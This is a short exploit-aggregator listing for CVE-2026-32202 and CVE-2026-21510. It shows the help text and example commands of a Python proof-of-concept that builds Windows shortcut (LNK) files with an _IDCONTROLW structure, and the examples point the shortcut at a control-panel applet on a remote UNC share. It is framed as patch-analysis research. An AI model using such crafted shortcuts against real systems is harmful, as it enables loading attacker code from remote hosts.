Sploitus

Exploit for CVE-2026-32202 CVE-2026-21510 CVE-2026-32202

kitploit · 2026-08-27

Exploit Code

MARKDOWN28 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-VIRUS-OR-NOT-CVE-2026-32202
# PoC

root@kitploit:~
    
    
    python3 CVE-2026-32202.py -h
    usage: CVE-2026-32202.py [-h] --unc PATH [--out FILE] [--applet-id INT] [--name STR] [--infotip STR] [--no-dump]
    
    Generate a test LNK file with an _IDCONTROLW structure.
    Research tool for CVE-2026-21510 / CVE-2026-32202 patch analysis.
    
    options:
      -h, --help           show this help message and exit
      --unc, -u PATH       UNC or local path to embed in _IDCONTROLW (e.g. \\192.168.1.31\share\test.cpl)
      --out, -o FILE       Output LNK filename (default: test_idcontrolw.lnk)
      --applet-id, -a INT  Signed applet ID for dwAppletID (default: -201 = 0xFFFFFF37)
      --name, -n STR       Display name of the CPL applet (default: "Research CPL")
      --infotip, -i STR    Tooltip string (default: "CVE-2026-21510 research")
      --no-dump            Suppress the hex dump of _IDCONTROLW
    
    Examples:
      python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl
      python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl --out poc.lnk
      python CVE-2026-32202.py --unc \\srv\share\x.cpl --applet-id -201 --no-dump
    

## Reverse Engineering di : Ricostruzione di una Struttura Non Documentata di shell32.dll